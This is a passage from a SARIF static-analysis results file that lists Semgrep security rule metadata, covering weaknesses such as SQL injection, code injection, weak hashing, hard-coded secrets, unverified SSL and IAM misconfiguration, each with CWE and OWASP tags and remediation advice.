Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.postgres-taint.postgres-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context' instead."},"help":{"markdown":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.unverified-ssl-context.unverified-ssl-context)\n - [https://docs.python.org/3/library/ssl.html#ssl-security](https://docs.python.org/3/library/ssl.html#ssl-security)\n - [https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection](https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection)\n","text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.unverified-ssl-context.unverified-ssl-context","id":"python.lang.security.unverified-ssl-context.unverified-ssl-context","name":"python.lang.security.unverified-ssl-context.unverified-ssl-context","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.unverified-ssl-context.unverified-ssl-context"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils","id":"java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils","name":"java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret","id":"go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret","name":"go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$POOL.get_virtual_price() call on a Curve pool is not protected from the read-only reentrancy."},"help":{"markdown":"$POOL.get_virtual_price() call on a Curve pool is not protected from the read-only reentrancy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy)\n - [https://chainsecurity.com/heartbreaks-curve-lp-oracles/](https://chainsecurity.com/heartbreaks-curve-lp-oracles/)\n - [https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/](https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/)\n","text":"$POOL.get_virtual_price() call on a Curve pool is not protected from the read-only reentrancy."},"helpUri":"https://semgrep.dev/r/solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy","id":"solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy","name":"solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If an attacker can supply values that the application then uses to determine which class to instantiate or which method to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"help":{"markdown":"If an attacker can supply values that the application then uses to determine which class to instantiate or which method to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.unsafe-reflection.unsafe-reflection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"If an attacker can supply values that the application then uses to determine which class to instantiate or which method to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.unsafe-reflection.unsafe-reflection","id":"java.lang.security.audit.unsafe-reflection.unsafe-reflection","name":"java.lang.security.audit.unsafe-reflection.unsafe-reflection","properties":{"precision":"very-high","tags":["CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.unsafe-reflection.unsafe-reflection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EFS filesystem is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EFS filesystem is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EFS filesystem is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk","id":"terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk","name":"terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $translateProvider.translations method can be dangerous if user input is provided to this API."},"help":{"markdown":"The use of $translateProvider.translations method can be dangerous if user input is provided to this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl](https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $translateProvider.translations method can be dangerous if user input is provided to this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method","id":"javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method","name":"javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"$sceDelegateProvider allowlisting can introduce security issues if wildcards are used."},"help":{"markdown":"$sceDelegateProvider allowlisting can introduce security issues if wildcards are used.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsJs](https://docs.angularjs.org/api/ng/service/$sce#trustAsJs)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"$sceDelegateProvider allowlisting can introduce security issues if wildcards are used."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading","id":"javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading","name":"javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker"},"help":{"markdown":"Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal)\n - [https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall](https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall)\n","text":"Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker"},"helpUri":"https://semgrep.dev/r/trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal","id":"trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal","name":"trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.hardcoded-password.hardcoded-password)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.hardcoded-password.hardcoded-password","id":"rust.secrets.postgres.hardcoded-password.hardcoded-password","name":"rust.secrets.postgres.hardcoded-password.hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.hardcoded-password.hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as scrypt. You can use `hashlib.scrypt`."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as scrypt. You can use `hashlib.scrypt`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/html/rfc6151](https://tools.ietf.org/html/rfc6151)\n - [https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision](https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://docs.python.org/3/library/hashlib.html#hashlib.scrypt](https://docs.python.org/3/library/hashlib.html#hashlib.scrypt)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as scrypt. You can use `hashlib.scrypt`."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"python.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"python.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`$mysqli->prepare(\"INSERT INTO test(id, label) VALUES (?, ?)\");`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`$mysqli->prepare(\"INSERT INTO test(id, label) VALUES (?, ?)\");`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`$mysqli->prepare(\"INSERT INTO test(id, label) VALUES (?, ?)\");`) or a safe library."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-sql-string.tainted-sql-string","id":"php.lang.security.injection.tainted-sql-string.tainted-sql-string","name":"php.lang.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure IAM policies don't allow credentials exposure. Credentials exposure actions return credentials as part of the API response, and can possibly lead to leaking important credentials. Instead, use another action that doesn't return sensitive data as part of the API response."},"help":{"markdown":"Ensure IAM policies don't allow credentials exposure. Credentials exposure actions return credentials as part of the API response, and can possibly lead to leaking important credentials. Instead, use another action that doesn't return sensitive data as part of the API response.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/credentials-exposure/](https://cloudsplaining.readthedocs.io/en/latest/glossary/credentials-exposure/)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMCredentialsExposure.py)\n","text":"Ensure IAM policies don't allow credentials exposure. Credentials exposure actions return credentials as part of the API response, and can possibly lead to leaking important credentials. Instead, use another action that doesn't return sensitive data as part of the API response."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure","id":"terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure","name":"terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a util.format / console.log function. If an attacker injects a format specifier in the string, it will forge the log message. Try to use constant values for the format string."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a util.format / console.log function. If an attacker injects a format specifier in the string, it will forge the log message. Try to use constant values for the format string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring)\n - [https://cwe.mitre.org/data/definitions/134.html](https://cwe.mitre.org/data/definitions/134.html)\n","text":"Detected string concatenation with a non-literal variable in a util.format / console.log function. If an attacker injects a format specifier in the string, it will forge the log message. Try to use constant values for the format string."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring","id":"javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring","name":"javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-code-execution.tainted-code-execution)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n - [https://stackoverflow.com/questions/3115559/exploitable-php-functions](https://stackoverflow.com/questions/3115559/exploitable-php-functions)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-code-execution.tainted-code-execution","id":"php.lang.security.tainted-code-execution.tainted-code-execution","name":"php.lang.security.tainted-code-execution.tainted-code-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-code-execution.tainted-code-execution"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via Java Spring RestTemplate API to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via Java Spring RestTemplate API to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request)\n - [https://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/web/client/RestTemplate.html#delete-java.lang.String-java.util.Map-](https://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/web/client/RestTemplate.html#delete-java.lang.String-java.util.Map-)\n - [https://www.baeldung.com/rest-template](https://www.baeldung.com/rest-template)\n","text":"Checks for requests sent via Java Spring RestTemplate API to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request","id":"problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request","name":"problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `sequelize.query('SELECT * FROM projects WHERE status = ?', { replacements: ['active'], type: QueryTypes.SELECT });`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `sequelize.query('SELECT * FROM projects WHERE status = ?', { replacements: ['active'], type: QueryTypes.SELECT });`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli)\n - [https://sequelize.org/master/manual/raw-queries.html](https://sequelize.org/master/manual/raw-queries.html)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `sequelize.query('SELECT * FROM projects WHERE status = ?', { replacements: ['active'], type: QueryTypes.SELECT });`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli","id":"javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli","name":"javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"help":{"markdown":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.passlib.passlib-insecure-hash.passlib-insecure-hash)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n","text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"helpUri":"https://semgrep.dev/r/python.passlib.passlib-insecure-hash.passlib-insecure-hash","id":"python.passlib.passlib-insecure-hash.passlib-insecure-hash","name":"python.passlib.passlib-insecure-hash.passlib-insecure-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.passlib.passlib-insecure-hash.passlib-insecure-hash"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy","id":"terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy","name":"terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This socket is not encrypted. The traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead"},"help":{"markdown":"This socket is not encrypted. The traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.unencrypted-socket.unencrypted-socket)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"This socket is not encrypted. The traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead"},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.unencrypted-socket.unencrypted-socket","id":"kotlin.lang.security.unencrypted-socket.unencrypted-socket","name":"kotlin.lang.security.unencrypted-socket.unencrypted-socket","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: 